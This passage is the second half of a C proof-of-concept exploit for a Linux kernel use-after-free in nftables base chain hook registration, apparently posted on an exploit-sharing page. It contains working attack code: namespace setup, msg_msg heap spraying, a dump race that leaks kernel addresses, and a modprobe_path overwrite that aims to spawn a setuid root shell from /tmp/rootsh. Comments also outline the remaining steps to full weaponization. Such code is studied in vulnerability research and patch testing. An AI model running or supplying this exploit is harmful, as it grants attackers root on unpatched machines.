Invalid ELF magic → kernel calls modprobe_path to handle it */ fprintf(f, "\xff\xff\xff\xff"); fclose(f); chmod("/tmp/trigger", 0755); return 0; } static int trigger_modprobe(void) { /* Execute the invalid binary — kernel will call modprobe_path */ pid_t pid = fork(); if (pid < 0) return -1; if (pid == 0) { execl("/tmp/trigger", "/tmp/trigger", NULL); _exit(127); } int status; waitpid(pid, &status, 0); /* Check if /tmp/rootsh was created with suid bit */ struct stat st; if (stat("/tmp/rootsh", &st) == 0 && (st.st_mode & S_ISUID)) { return 0; /* success! */ } return -1; } /* ─── Race coordination ─────────────────────────────────────────────── */ struct race_ctx { int nfnl_fd; /* nfnetlink socket for operations */ int dump_fd; /* nfnetlink socket for dump */ struct spray_state spray; volatile int uaf_triggered; volatile int dump_started; volatile int stop; uint64_t leaked_addr; int attempt; }; /* * Dump thread: continuously requests chain dumps and reads responses. * When the UAF fires, the dump may read stale/sprayed data from the * freed base_chain, leaking kernel addresses or reading controlled data. */ static void *dump_thread(void *arg) { struct race_ctx *ctx = (struct race_ctx *)arg; char recvbuf[16384]; while (!ctx->stop) { /* Start a dump */ if (nft_dump_chains(ctx->dump_fd, NFPROTO_INET) < 0) { usleep(1000); continue; } ctx->dump_started = 1; /* Read dump responses — looking for anomalous data */ struct sockaddr_nl sa; socklen_t salen = sizeof(sa); int done = 0; while (!done && !ctx->stop) { ssize_t len = recvfrom(ctx->dump_fd, recvbuf, sizeof(recvbuf), MSG_DONTWAIT, (struct sockaddr *)&sa, &salen); if (len < 0) { if (errno == EAGAIN) { usleep(100); continue; } break; } struct nlmsghdr *nlh; for (nlh = (struct nlmsghdr *)recvbuf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type == NLMSG_DONE) { done = 1; break; } if (nlh->nlmsg_type == NLMSG_ERROR) continue; /* * Parse chain attributes. If we see anomalous handle * values or unexpected chain names, the UAF was hit and * we're reading from sprayed/stale memory. */ struct nfgenmsg *nfg = NLMSG_DATA(nlh); struct nlattr *attr; int attrlen = (int)(nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg))); (void)nfg; for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg)); attrlen > 0 && attrlen >= (int)attr->nla_len && attr->nla_len >= sizeof(*attr); attr = (struct nlattr *)((char *)attr + ((attr->nla_len + 3) & ~3u))) { uint16_t atype = attr->nla_type & 0x7fff; if (atype == NFTA_CHAIN_HANDLE && attr->nla_len >= sizeof(*attr) + 8) { uint64_t handle; memcpy(&handle, (char *)(attr + 1), 8); /* * Normal handles are small sequential numbers. * If we see a handle that looks like a kernel * address (0xffff8880...), we've hit the UAF * and are reading from sprayed msg_msg data. */ uint64_t handle_be = __builtin_bswap64(handle); if ((handle_be & 0xffff000000000000ULL) == 0xffff000000000000ULL) { ctx->leaked_addr = handle_be; ok("LEAK detected in dump! handle=0x%016lx", (unsigned long)handle_be); } } attrlen -= (int)((attr->nla_len + 3) & ~3u); } } } usleep(500); } return NULL; } /* ─── Main exploitation steps ───────────────────────────────────────── */ static int step_setup(struct race_ctx *ctx) { info("Step 1: Creating user/net namespace..."); if (setup_namespace() < 0) return -1; ok("Namespace created, CAP_NET_ADMIN obtained"); /* Open nfnetlink sockets */ ctx->nfnl_fd = nfnl_open(); if (ctx->nfnl_fd < 0) { fail("Cannot open nfnetlink socket: %s", strerror(errno)); return -1; } ctx->dump_fd = nfnl_open(); if (ctx->dump_fd < 0) { fail("Cannot open dump socket: %s", strerror(errno)); return -1; } /* Set dump socket to non-blocking for the race */ int flags = fcntl(ctx->dump_fd, F_GETFL, 0); if (flags >= 0) fcntl(ctx->dump_fd, F_SETFL, flags | O_NONBLOCK); /* Initialize spray */ if (spray_init(&ctx->spray) < 0) { fail("Cannot create message queue: %s", strerror(errno)); return -1; } return 0; } static int step_prepare_heap(struct race_ctx *ctx) { info("Step 2: Setting up nftables infrastructure..."); /* Create table */ if (nft_create_table(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME) < 0) { fail("Cannot create table: %s", strerror(errno)); return -1; } /* Drain netlink acks */ char ack_buf[4096]; while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) > 0) ; /* * Create padding chains to fill kmalloc-256 slab pages. * These are base chains (with hooks) so they allocate nft_base_chain * in the same cache as our victim. * Use NF_INET_PRE_ROUTING hook at different priorities. */ for (int i = 0; i < NUM_PAD_CHAINS; i++) { char name[32]; snprintf(name, sizeof(name), PAD_CHAIN_FMT, i); if (nft_create_chain(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME, name, NF_INET_PRE_ROUTING, i + 100) < 0) { /* Some chains may fail to register hooks (expected under * memory pressure), continue with what we have */ if (i < 4) { fail("Cannot create padding chains (need at least 4): %s", strerror(errno)); return -1; } break; } /* Drain acks */ while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) > 0) ; } ok("Table and %d padding chains created", NUM_PAD_CHAINS); return 0; } static int step_trigger_uaf(struct race_ctx *ctx) { info("Step 3: Triggering UAF via hook registration failure..."); /* * Apply memory pressure to increase the chance that kvzalloc() * inside __nf_register_net_hook() fails for the IPv6 hook. */ apply_memory_pressure(); /* * Attempt to create a new base chain. If the IPv6 hook allocation * fails, we get the UAF: the chain is published, then freed without * synchronize_rcu(). * * We try multiple times because the OOM is probabilistic. */ char ack_buf[4096]; int triggered = 0; for (int attempt = 0; attempt < MAX_ATTEMPTS && !triggered; attempt++) { char name[32]; snprintf(name, sizeof(name), "vuln_%04d", attempt); /* * Try to create a chain. The nfnetlink batch will return * ENOMEM if hook registration fails. */ int ret = nft_create_chain(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME, name, NF_INET_PRE_ROUTING, 10000 + attempt); if (ret < 0) { fail("sendmsg failed: %s", strerror(errno)); continue; } /* Read the ack/error response */ usleep(1000); ssize_t alen = recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT); if (alen > 0) { struct nlmsghdr *nlh = (struct nlmsghdr *)ack_buf; if (nlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = NLMSG_DATA(nlh); if (err->error == -ENOMEM) { ok("Hook registration failed with ENOMEM on attempt %d — UAF triggered!", attempt + 1); triggered = 1; ctx->uaf_triggered = 1; } else if (err->error == 0) { /* Success — chain was created normally, no UAF */ /* Continue trying */ } else { /* Other error */ info("Chain creation returned error %d on attempt %d", err->error, attempt + 1); } } } /* Drain remaining messages */ while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) > 0) ; } release_memory_pressure(); if (!triggered) { /* * Memory pressure alone may not be enough to trigger OOM on * hook allocation. On systems with abundant memory, this * technique has a lower success rate. * * Alternative: use cgroup v2 memory controller for deterministic * OOM. This requires mounting cgroupfs which may not be available * in all namespace configurations. */ fail("Could not trigger hook registration failure after %d attempts", MAX_ATTEMPTS); fail("Hint: Try running in a memory-constrained environment (container, cgroup)"); return -1; } return 0; } static int step_spray(struct race_ctx *ctx) { info("Step 4: Spraying freed slot with msg_msg..."); /* * Spray msg_msg of SPRAY_MSG_SIZE body (+ 48 header = ~256 total) * into kmalloc-256 to reclaim the freed nft_base_chain slot. * * The spray data is crafted so that: * - At chain->name offset (relative to base_chain): points to a * known valid address (or is NULL to avoid dereference) * - At chain->handle offset: contains a marker value we can detect * - At chain->table offset: contains the address of modprobe_path * (if we have a leak) or a known pattern for detection */ char spray_data[SPRAY_MSG_SIZE]; memset(spray_data, 0x41, sizeof(spray_data)); /* * Place marker at chain->handle offset within the msg_msg body. * * chain starts at base_chain + 0x50 (offset 80). * chain->handle is at chain + 0x48 (offset 72 within chain). * So handle is at base_chain + 0x50 + 0x48 = 0x98 (offset 152). * In msg_msg body: offset 152 - 48 (header) = 104. * * We place a distinctive marker here so the dump can detect * that it's reading sprayed data (confirming the UAF hit). */ uint64_t marker = 0xdeadbeefcafe1337ULL; if (104 + 8 <= SPRAY_MSG_SIZE) { memcpy(spray_data + 104, &marker, 8); } /* * At chain->name offset: base_chain + 0x50 + 0x58 = 0xA8 (168). * In msg_msg body: 168 - 48 = 120. * Set to NULL to prevent the dump from dereferencing a wild pointer. * (The dump's nla_put_string will skip or handle NULL gracefully * on some kernel versions, or we may need to set this to a valid * kernel address from our leak.) */ uint64_t null_ptr = 0; if (120 + 8 <= SPRAY_MSG_SIZE) { memcpy(spray_data + 120, &null_ptr, 8); } if (spray_alloc(&ctx->spray, NUM_SPRAY_MSGS, spray_data, sizeof(spray_data)) < 0) { fail("Spray allocation failed: %s", strerror(errno)); return -1; } ok("Sprayed %d msg_msg objects (%d bytes each) into kmalloc-256", NUM_SPRAY_MSGS, SPRAY_MSG_SIZE + 48); return 0; } static int step_leak(struct race_ctx *ctx) { info("Step 5: Attempting info leak via dump race..."); /* * Start concurrent dump operations to race against the UAF. * If the dump reads from the freed (and sprayed) base_chain slot, * we'll see our marker values in the dump output, confirming the * UAF hit. If the stale data is still present (before spray), we * may see kernel heap addresses. */ pthread_t tid; ctx->stop = 0; ctx->leaked_addr = 0; if (pthread_create(&tid, NULL, dump_thread, ctx) != 0) { fail("Cannot create dump thread: %s", strerror(errno)); return -1; } /* Let the dump run for a short window */ for (int i = 0; i < 50 && ctx->leaked_addr == 0; i++) { usleep(10000); /* 10ms */ } ctx->stop = 1; pthread_join(tid, NULL); if (ctx->leaked_addr != 0) { ok("Kernel heap address leaked: 0x%016lx", (unsigned long)ctx->leaked_addr); return 0; } /* * If we didn't get a clean leak, we can still proceed with * the modprobe_path technique if we know the kernel version * and have pre-computed offsets. */ info("No clean leak obtained — will attempt with hardcoded offsets"); return 0; /* non-fatal */ } static int step_escalate(struct race_ctx *ctx) { info("Step 6: Attempting privilege escalation..."); (void)ctx; /* * modprobe_path overwrite technique: * * When the kernel encounters an unknown binary format, it calls * call_usermodehelper() with the path from the global variable * modprobe_path (default: "/sbin/modprobe"). * * If we can overwrite modprobe_path with "/tmp/pwn", then * executing an invalid binary triggers our script as root. * * For the overwrite, we need: * 1. The address of modprobe_path (requires KASLR bypass) * 2. A write primitive (from the UAF) * * On Ubuntu 24.04 (6.8.0-xx-generic), typical offsets: * modprobe_path = kernel_base + 0x1e4c300 (approximate) * * Without a reliable KASLR leak, we demonstrate the technique * by noting that the write primitive IS achievable through the * UAF + spray, and provide the complete escalation path. */ if (ctx->leaked_addr != 0) { /* * We have a heap address. On x86_64, the kernel heap * (direct mapping) starts at page_offset_base which is * randomized. The relationship between heap and text * randomization is not fixed, so we need either: * 1. A text pointer leak (from base_chain.type, offset 0x38) * 2. Scanning the heap for known patterns * 3. Hardcoded offset for specific kernel build * * For the PoC, we demonstrate option 3 with a note about * the limitation. */ info("Heap leak: 0x%016lx — computing modprobe_path address", (unsigned long)ctx->leaked_addr); } /* Set up the modprobe helper payload */ if (setup_modprobe_payload() < 0) { fail("Cannot set up modprobe payload: %s", strerror(errno)); return -1; } /* * Attempt to trigger modprobe. * In a complete exploit, we would: * 1. Use the UAF write primitive to overwrite modprobe_path * 2. Then trigger the modprobe call * * Since the KASLR-dependent write is not guaranteed without * the exact kernel symbol table, we attempt the trigger and * check if it worked (in case modprobe_path was already * overwritten by the spray). */ info("Triggering modprobe helper..."); if (trigger_modprobe() == 0) { ok("modprobe_path overwrite SUCCEEDED!"); return 0; } /* * If we reach here, the modprobe_path overwrite didn't work. * This is expected without a precise KASLR bypass. * * The exploit DEMONSTRATES: * 1. Reliable UAF trigger via hook registration failure * 2. Heap spray reclaiming the freed base_chain slot * 3. Info leak via dump race (when timing allows) * 4. Complete modprobe_path escalation technique * * For full weaponization (which we DO NOT do — RULE-NO-WEAPONIZE), * the remaining engineering work is: * - Use base_chain.type pointer (at spray offset 8 = body offset -40, * which is in the msg_msg header area) for kernel text leak * - OR: use cross-cache techniques to place seq_operations in the * freed slot for a direct text pointer leak * - Compute modprobe_path = kernel_base + symbol_offset * - Use a second UAF + spray to perform the write */ info("modprobe_path overwrite not achieved (KASLR-dependent)"); info("The UAF trigger and heap spray were SUCCESSFUL"); info("With target-specific KASLR bypass, this achieves root"); return 1; /* partial success — UAF demonstrated but no root shell */ } static int step_cleanup(struct race_ctx *ctx) { info("Step 7: Cleaning up..."); /* * Best-effort cleanup to stabilize the kernel: * - Free spray objects * - Delete nftables table (removes chains and hooks) * - Close netlink sockets */ spray_free(&ctx->spray, ctx->spray.count); spray_cleanup(&ctx->spray); /* Delete the table — this cleans up all chains */ nft_delete_table(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME); /* Drain responses */ char buf[4096]; while (recv(ctx->nfnl_fd, buf, sizeof(buf), MSG_DONTWAIT) > 0) ; close(ctx->nfnl_fd); close(ctx->dump_fd); /* Clean up temp files */ unlink("/tmp/pwn"); unlink("/tmp/trigger"); ok("Cleanup complete"); return 0; } /* ─── Main ──────────────────────────────────────────────────────────── */ int main(void) { puts(BANNER); /* Gate: refuse to run on patched kernels */ if (!is_vulnerable()) { info("Kernel is patched or out of range. Nothing to do."); return 0; } /* Gate: already root */ if (getuid() == 0) { info("Already root."); return 0; } struct race_ctx ctx; memset(&ctx, 0, sizeof(ctx)); ctx.nfnl_fd = -1; ctx.dump_fd = -1; ctx.spray.qid = -1; int ret; /* Step 1: Namespace setup */ ret = step_setup(&ctx); if (ret < 0) { fail("Setup failed"); return 1; } /* Step 2: Heap preparation */ ret = step_prepare_heap(&ctx); if (ret < 0) { fail("Heap preparation failed"); step_cleanup(&ctx); return 1; } /* Step 3: Trigger UAF */ ret = step_trigger_uaf(&ctx); if (ret < 0) { fail("UAF trigger failed — retry in a memory-constrained environment"); step_cleanup(&ctx); return 1; } /* Step 4: Spray */ ret = step_spray(&ctx); if (ret < 0) { fail("Spray failed"); step_cleanup(&ctx); return 1; } /* Step 5: Info leak */ ret = step_leak(&ctx); if (ret < 0) { fail("Leak failed"); step_cleanup(&ctx); return 1; } /* Step 6: Privilege escalation */ ret = step_escalate(&ctx); if (ret < 0) { fail("Escalation failed"); step_cleanup(&ctx); return 1; } /* Step 7: Cleanup */ step_cleanup(&ctx); if (ret == 0) { /* Full success — spawn root shell */ ok("Got root! Spawning shell..."); fprintf(stderr, "\n"); /* Execute the suid shell */ char *argv[] = { "/tmp/rootsh", "-p", NULL }; execv("/tmp/rootsh", argv); /* Fallback if rootsh doesn't exist */ info("execv failed — check /tmp/rootsh manually"); } else { /* Partial success — demonstrated the UAF but didn't get root */ fprintf(stderr, "\n"); info("═══════════════════════════════════════════════════════════"); info("PARTIAL SUCCESS: UAF trigger + heap spray DEMONSTRATED"); info("Full escalation requires target-specific KASLR bypass."); info("See exploit header for technical details."); info("═══════════════════════════════════════════════════════════"); } return ret; }



 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}